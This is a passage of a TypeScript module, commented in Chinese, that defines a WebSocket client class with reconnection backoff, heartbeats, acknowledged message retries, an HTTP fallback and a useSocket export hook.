|
||||
timeOut: false,
|
||||
};
|
||||
|
||||
const MAX_RECONNECT_INTERVAL = 30000;
|
||||
const MAX_HEARTBEAT_MISS = 3;
|
||||
const RETRY_CHECK_INTERVAL = 1000;
|
||||
|
||||
// ============ Socket 类 ============
|
||||
class Socket {
|
||||
private url: string;
|
||||
private ws: WebSocket | null = null;
|
||||
private opts: Required<SocketOptions>;
|
||||
|
||||
// 连接管理
|
||||
private reconnectAttempts = 0;
|
||||
private reconnectTimeoutId: number | null = null;
|
||||
|
||||
// 心跳管理
|
||||
private heartbeatIntervalId: number | null = null;
|
||||
private heartbeatMissCount = 0;
|
||||
|
||||
// 消息管理
|
||||
private sendQueue: PendingMessage[] = [];
|
||||
private pendingConfirmations = new Map<string, PendingMessage>();
|
||||
private retryCheckerId: number | null = null;
|
||||
|
||||
// 事件管理
|
||||
private listeners: Record<string, Function[]> = {};
|
||||
|
||||
constructor(url: string, opts: SocketOptions = {}) {
|
||||
this.url = url;
|
||||
this.opts = { ...DEFAULT_OPTIONS, ...opts };
|
||||
|
||||
this.init();
|
||||
this.setupBrowserListeners();
|
||||
}
|
||||
|
||||
// ============ 初始化与连接 ============
|
||||
|
||||
private init(): void {
|
||||
if (this.isConnectingOrOpen()) return;
|
||||
|
||||
this.heartbeatMissCount = 0;
|
||||
this.ws = new WebSocket(this.url);
|
||||
this.bindWebSocketEvents();
|
||||
}
|
||||
|
||||
private bindWebSocketEvents(): void {
|
||||
if (!this.ws) return;
|
||||
|
||||
this.ws.onopen = this.handleOpen.bind(this);
|
||||
this.ws.onmessage = this.handleMessage.bind(this);
|
||||
this.ws.onerror = this.handleError.bind(this);
|
||||
this.ws.onclose = this.handleClose.bind(this);
|
||||
}
|
||||
|
||||
// ============ WebSocket 事件处理 ============
|
||||
|
||||
private handleOpen(event: Event): void {
|
||||
this.reconnectAttempts = 0;
|
||||
this.clearReconnectTimeout();
|
||||
this.startHeartbeat();
|
||||
this.startRetryChecker();
|
||||
this.emit("open", event);
|
||||
this.flushSendQueue();
|
||||
}
|
||||
|
||||
private handleMessage(event: MessageEvent): void {
|
||||
try {
|
||||
const data = JSON.parse(event.data);
|
||||
|
||||
switch (data.event) {
|
||||
case "heartbeat":
|
||||
this.heartbeatMissCount = 0;
|
||||
break;
|
||||
case "ack":
|
||||
this.handleAck(data.messageId);
|
||||
break;
|
||||
default:
|
||||
this.emit("message", event.data);
|
||||
}
|
||||
} catch {
|
||||
this.emit("message", event.data);
|
||||
}
|
||||
}
|
||||
|
||||
private handleError(event: Event): void {
|
||||
this.emit("error", event);
|
||||
}
|
||||
|
||||
private handleClose(event: CloseEvent): void {
|
||||
this.stopHeartbeat();
|
||||
this.stopRetryChecker();
|
||||
this.emit("close", event);
|
||||
this.scheduleReconnect();
|
||||
}
|
||||
|
||||
private handleAck(messageId: string): void {
|
||||
if (messageId && this.pendingConfirmations.has(messageId)) {
|
||||
this.pendingConfirmations.delete(messageId);
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 连接状态 ============
|
||||
|
||||
private isConnectingOrOpen(): boolean {
|
||||
return this.ws?.readyState === WebSocket.CONNECTING
|
||||
|| this.ws?.readyState === WebSocket.OPEN;
|
||||
}
|
||||
|
||||
private isConnected(): boolean {
|
||||
return this.ws?.readyState === WebSocket.OPEN;
|
||||
}
|
||||
|
||||
private isClosed(): boolean {
|
||||
return this.ws?.readyState === WebSocket.CLOSED;
|
||||
}
|
||||
|
||||
// ============ 重连机制 ============
|
||||
|
||||
private scheduleReconnect(): void {
|
||||
if (!this.canReconnect() || this.reconnectTimeoutId !== null) return;
|
||||
|
||||
const timeout = Math.min(
|
||||
this.opts.reconnectInterval * Math.pow(2, this.reconnectAttempts),
|
||||
MAX_RECONNECT_INTERVAL
|
||||
);
|
||||
|
||||
this.reconnectTimeoutId = window.setTimeout(() => {
|
||||
this.reconnectAttempts++;
|
||||
this.reconnectTimeoutId = null;
|
||||
|
||||
if (this.isClosed()) {
|
||||
this.init();
|
||||
}
|
||||
}, timeout);
|
||||
}
|
||||
|
||||
private canReconnect(): boolean {
|
||||
return !this.opts.maxReconnectAttempts
|
||||
|| this.reconnectAttempts < this.opts.maxReconnectAttempts;
|
||||
}
|
||||
|
||||
private clearReconnectTimeout(): void {
|
||||
if (this.reconnectTimeoutId !== null) {
|
||||
clearTimeout(this.reconnectTimeoutId);
|
||||
this.reconnectTimeoutId = null;
|
||||
}
|
||||
}
|
||||
|
||||
private reconnectIfNeeded(): void {
|
||||
if (this.isClosed() && this.canReconnect() && !this.isConnectingOrOpen()) {
|
||||
this.init();
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 心跳机制 ============
|
||||
|
||||
private startHeartbeat(): void {
|
||||
if (!this.opts.heartbeatInterval) return;
|
||||
|
||||
this.heartbeatIntervalId = window.setInterval(() => {
|
||||
if (this.heartbeatMissCount >= MAX_HEARTBEAT_MISS) {
|
||||
this.ws?.close();
|
||||
return;
|
||||
}
|
||||
|
||||
this.heartbeatMissCount++;
|
||||
|
||||
if (this.isConnected()) {
|
||||
this.ws!.send(JSON.stringify({
|
||||
event: "heartbeat",
|
||||
content: { tag: "user" }
|
||||
}));
|
||||
}
|
||||
}, this.opts.heartbeatInterval);
|
||||
}
|
||||
|
||||
private stopHeartbeat(): void {
|
||||
if (this.heartbeatIntervalId) {
|
||||
clearInterval(this.heartbeatIntervalId);
|
||||
this.heartbeatIntervalId = null;
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 消息发送 ============
|
||||
|
||||
async send(data: string): Promise<void> {
|
||||
try {
|
||||
const message = JSON.parse(data);
|
||||
const pendingMsg = this.createPendingMessage(message);
|
||||
|
||||
if (this.isConnected()) {
|
||||
// WebSocket 连接正常,直接发送
|
||||
this.sendDirect(pendingMsg);
|
||||
} else if (this.canReconnect() && !this.isConnectingOrOpen()) {
|
||||
// 可以重连,加入队列等待重连后发送
|
||||
this.enqueue(pendingMsg);
|
||||
this.reconnectIfNeeded();
|
||||
} else {
|
||||
await this.sendViaHttp(message);
|
||||
}
|
||||
} catch {
|
||||
console.error("[WebSocket] Invalid message format. Must be valid JSON.");
|
||||
}
|
||||
}
|
||||
|
||||
private async sendViaHttp(message: any): Promise<void> {
|
||||
try {
|
||||
if (message.event !== "input_text") {
|
||||
await sendInput(message);
|
||||
}
|
||||
} catch (error) {
|
||||
console.error("[WebSocket] HTTP fallback failed:", error);
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
|
||||
private createPendingMessage(message: any): PendingMessage {
|
||||
const id = this.generateMessageId();
|
||||
const timestamp = Date.now();
|
||||
|
||||
return {
|
||||
id,
|
||||
data: JSON.stringify({ ...message, messageId: id, timestamp }),
|
||||
retries: 0,
|
||||
timestamp,
|
||||
};
|
||||
}
|
||||
|
||||
private sendDirect(pendingMsg: PendingMessage): void {
|
||||
this.ws?.send(pendingMsg.data);
|
||||
this.pendingConfirmations.set(pendingMsg.id, pendingMsg);
|
||||
}
|
||||
|
||||
private enqueue(pendingMsg: PendingMessage): void {
|
||||
this.sendQueue.push(pendingMsg);
|
||||
}
|
||||
|
||||
private flushSendQueue(): void {
|
||||
if (!this.isConnected()) return;
|
||||
|
||||
while (this.sendQueue.length > 0 && this.isConnected()) {
|
||||
const pendingMsg = this.sendQueue.shift();
|
||||
if (pendingMsg) {
|
||||
this.sendDirect(pendingMsg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 消息重试机制 ============
|
||||
|
||||
private startRetryChecker(): void {
|
||||
this.stopRetryChecker();
|
||||
|
||||
this.retryCheckerId = window.setInterval(() => {
|
||||
this.checkPendingMessages();
|
||||
}, RETRY_CHECK_INTERVAL);
|
||||
}
|
||||
|
||||
private stopRetryChecker(): void {
|
||||
if (this.retryCheckerId) {
|
||||
clearInterval(this.retryCheckerId);
|
||||
this.retryCheckerId = null;
|
||||
}
|
||||
}
|
||||
|
||||
private checkPendingMessages(): void {
|
||||
const now = Date.now();
|
||||
const { retryIntervals } = this.opts;
|
||||
|
||||
for (const [id, msg] of this.pendingConfirmations.entries()) {
|
||||
const age = now - msg.timestamp;
|
||||
const waitTime = retryIntervals[msg.retries] ?? retryIntervals[0];
|
||||
|
||||
// 未到重试时间
|
||||
if (age < waitTime) continue;
|
||||
|
||||
// 超过最大重试次数,降级使用 HTTP
|
||||
if (msg.retries >= retryIntervals.length) {
|
||||
this.pendingConfirmations.delete(id);
|
||||
|
||||
try {
|
||||
const message = JSON.parse(msg.data);
|
||||
this.sendViaHttp(message).catch((error) => {
|
||||
console.error("[WebSocket] HTTP fallback failed, re-queuing message:", error);
|
||||
this.sendQueue.push(msg);
|
||||
});
|
||||
} catch (error) {
|
||||
console.error("[WebSocket] Failed to parse message for HTTP fallback:", error);
|
||||
this.sendQueue.push(msg);
|
||||
}
|
||||
useLoadingStore().setLoading(false);
|
||||
continue;
|
||||
}
|
||||
|
||||
// 重试发送
|
||||
if (this.isConnected()) {
|
||||
this.ws?.send(msg.data);
|
||||
msg.retries++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 工具方法 ============
|
||||
|
||||
private generateMessageId(): string {
|
||||
return `${Date.now()}-${Math.random().toString(36).substring(2, 11)}`;
|
||||
}
|
||||
|
||||
// ============ 事件系统 ============
|
||||
|
||||
on(event: string, callback: Function): void {
|
||||
if (!this.listeners[event]) {
|
||||
this.listeners[event] = [];
|
||||
}
|
||||
this.listeners[event].push(callback);
|
||||
}
|
||||
|
||||
off(event: string): void {
|
||||
delete this.listeners[event];
|
||||
}
|
||||
|
||||
private emit(event: string, data: any): void {
|
||||
this.listeners[event]?.forEach(callback => callback(data));
|
||||
}
|
||||
|
||||
// ============ 浏览器事件监听 ============
|
||||
|
||||
private setupBrowserListeners(): void {
|
||||
// 页面可见性变化
|
||||
document.addEventListener("visibilitychange", () => {
|
||||
if (document.visibilityState === "visible") {
|
||||
this.reconnectAttempts = 0;
|
||||
if (!this.isConnectingOrOpen()) {
|
||||
this.init();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// 网络状态变化
|
||||
window.addEventListener("online", () => {
|
||||
this.reconnectAttempts = 0;
|
||||
if (!this.isConnectingOrOpen()) {
|
||||
this.init();
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 导出 ============
|
||||
|
||||
function useSocket(url: string, opts?: SocketOptions) {
|
||||
const socket = new Socket(url, opts);
|
||||
|
||||
return {
|
||||
socket,
|
||||
send: socket.send.bind(socket),
|
||||
on: socket.on.bind(socket),
|
||||
off: socket.off.bind(socket),
|
||||
};
|
||||
}
|
||||
|
||||
export { useSocket, Socket };
|
||||
export type { SocketOptions, PendingMessage };
|
||||